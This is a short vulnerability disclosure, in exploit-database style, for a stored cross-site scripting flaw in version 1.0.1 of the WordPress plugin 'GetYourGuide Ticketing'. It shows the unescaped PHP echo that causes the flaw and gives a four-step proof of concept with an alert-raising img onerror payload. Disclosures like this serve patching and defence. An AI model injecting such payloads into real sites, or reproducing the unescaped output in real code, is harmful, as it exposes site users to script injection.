WordPress GetYourGuide Ticketing 1.0.1 Cross Site Scripting

`# *Exploit Title*: WordPress Plugin ‘GetYourGuide Ticketing’ - Stored  
Cross-Site Scripting  
# Date: 18-09-2022  
# Exploit Author: Mariam Tariq - HunterSherlock  
# Vendor Homepage:  
https://wordpress.org/plugins/search/GetYourGuide+Ticketing/  
# Version: 1.0.1  
# Tested on: Firefox  
# Contact me: [email protected]  
  
# *Vulnerable code*:  
  
``` <input type="text" name="partner_hash" value="<?php echo $partner_hash  
?>"></input> ```  
  
# *POC*:  
  
1- Install the plugin ‘GetYourGuide Ticketing’ & activate it.  
2- Navigate toward the GYG-Ticketing  
3- Enter the XSS payload ` “><img src=x onerror=alert(1)>`  
4- Go to link builder to verify the XSS pop-up.  
  
#* POC image*:  
  
https://imgur.com/amrDhIt  
`